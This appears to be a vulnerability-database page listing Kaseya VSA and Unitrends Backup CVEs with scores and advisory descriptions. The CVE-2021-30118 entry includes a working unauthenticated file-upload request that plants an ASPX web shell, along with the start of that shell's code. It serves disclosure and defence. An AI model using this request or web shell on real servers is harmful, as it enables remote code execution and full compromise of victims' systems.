CVE-2021-30118 1 Kaseya 1 Vsa 2023-12-10 10.0 HIGH 9.8 CRITICAL
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
CVE-2021-30117 1 Kaseya 1 Vsa 2023-12-10 6.5 MEDIUM 8.8 HIGH

CVE-2019-14510 1 Kaseya 1 Vsa 2023-12-10 7.2 HIGH 6.7 MEDIUM
An issue was discovered in Kaseya VSA RMM through 9.5.0.22. When using the default configuration, the LAN Cache feature creates a local account FSAdminxxxxxxxxx (e.g., FSAdmin123456789) on the server that hosts the LAN Cache and all clients that are assigned to a LAN Cache. This account is placed into the local Administrators group of all clients assigned to the LAN Cache. When the assigned client is a Domain Controller, the FSAdminxxxxxxxxx account is created as a domain account and automatically added as a member of the domain BUILTIN\Administrators group. Using the well known Pass-the-Hash techniques, an attacker can use the same FSAdminxxxxxxxxx hash from any LAN Cache client and pass this to a Domain Controller, providing administrative rights to the attacker on any Domain Controller. (Local account Pass-the-Hash mitigations do not protect domain accounts.)
CVE-2015-6589 1 Kaseya 1 Virtual System Administrator 2023-12-10 6.5 MEDIUM 8.8 HIGH
Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.0.0.0 before 7.0.0.33, 8..0.0.0 before 8.0.0.23, 9.0.0.0 before 9.0.0.19, and 9.1.0.0 before 9.1.0.9 allows remote authenticated users to write to and execute arbitrary files due to insufficient restrictions in file paths to json.ashx.
CVE-2015-6922 1 Kaseya 1 Virtual System Administrator 2023-12-10 7.5 HIGH 9.8 CRITICAL
Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.33, 8.x before 8.0.0.23, 9.0 before 9.0.0.19, and 9.1 before 9.1.0.9 does not properly require authentication, which allows remote attackers to bypass authentication and (1) add an administrative account via crafted request to LocalAuth/setAccount.aspx or (2) write to and execute arbitrary files via a full pathname in the PathData parameter to ConfigTab/uploader.aspx.
CVE-2019-15506 1 Kaseya 1 Virtual System Administrator 2023-12-10 7.8 HIGH 7.5 HIGH
An issue was discovered in Kaseya Virtual System Administrator (VSA) through 9.4.0.37. It has a critical information disclosure vulnerability. An unauthenticated attacker can send properly formatted requests to the web application and download sensitive files and information. For example, the /DATAREPORTS directory can be farmed for reports. Because this directory contains the results of reports such as NMAP, Patch Status, and Active Directory domain metadata, an attacker can easily collect this critical information and parse it for information. There are a number of directories affected.
CVE-2018-20753 1 Kaseya 1 Virtual System Administrator 2023-12-10 7.5 HIGH 9.8 CRITICAL
Kaseya VSA RMM before R9.3 9.3.0.35, R9.4 before 9.4.0.36, and R9.5 before 9.5.0.5 allows unprivileged remote attackers to execute PowerShell payloads on all managed devices. In January 2018, attackers actively exploited this vulnerability in the wild.
CVE-2018-6328 1 Kaseya 1 Unitrends Backup 2023-12-10 7.5 HIGH 9.8 CRITICAL
It was discovered that the Unitrends Backup (UB) before 10.1.0 user interface was exposed to an authentication bypass, which then could allow an unauthenticated user to inject arbitrary commands into its /api/hosts parameters using backquotes.
CVE-2017-12410 1 Kaseya 1 Virtual System Administrator 2023-12-10 6.9 MEDIUM 7.4 HIGH
It is possible to exploit a Time of Check & Time of Use (TOCTOU) vulnerability by winning a race condition when Kaseya Virtual System Administrator agent 9.3.0.11 and earlier tries to execute its binaries from working and/or temporary folders. Successful exploitation results in the execution of arbitrary programs with "NT AUTHORITY\SYSTEM" privileges.
CVE-2017-12478 1 Kaseya 1 Unitrends Backup 2023-12-10 10.0 HIGH 9.8 CRITICAL
It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system.
CVE-2017-12477 1 Kaseya 1 Unitrends Backup 2023-12-10 10.0 HIGH 9.8 CRITICAL
It was discovered that the bpserverd proprietary protocol in Unitrends Backup (UB) before 10.0.0, as invoked through xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.
CVE-2017-12479 1 Kaseya 1 Unitrends Backup 2023-12-10 9.0 HIGH 8.8 HIGH
It was discovered that an issue in the session logic in Unitrends Backup (UB) before 10.0.0 allowed using the LOGDIR environment variable during a web session to elevate an existing low-privilege user to root privileges. A remote attacker with existing low-privilege credentials could then execute arbitrary commands with root privileges.
CVE-2015-2863 1 Kaseya 1 Virtual System Administrator 2023-12-10 4.3 MEDIUM N/A
Open redirect vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.
CVE-2015-2862 1 Kaseya 1 Virtual System Administrator 2023-12-10 4.0 MEDIUM N/A
Directory traversal vulnerability in Kaseya Virtual System Administrator (VSA) 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 allows remote authenticated users to read arbitrary files via a crafted HTTP request.
CVE-2014-2926 1 Kaseya 1 Virtual System Administrator 2023-12-10 1.7 LOW N/A
kapfa.sys in Kaseya Virtual System Administrator (VSA) 6.5 before 6.5.0.17 and 7.0 before 7.0.0.16 allows local users to cause a denial of service (NULL pointer dereference and application crash) via unspecified vectors.
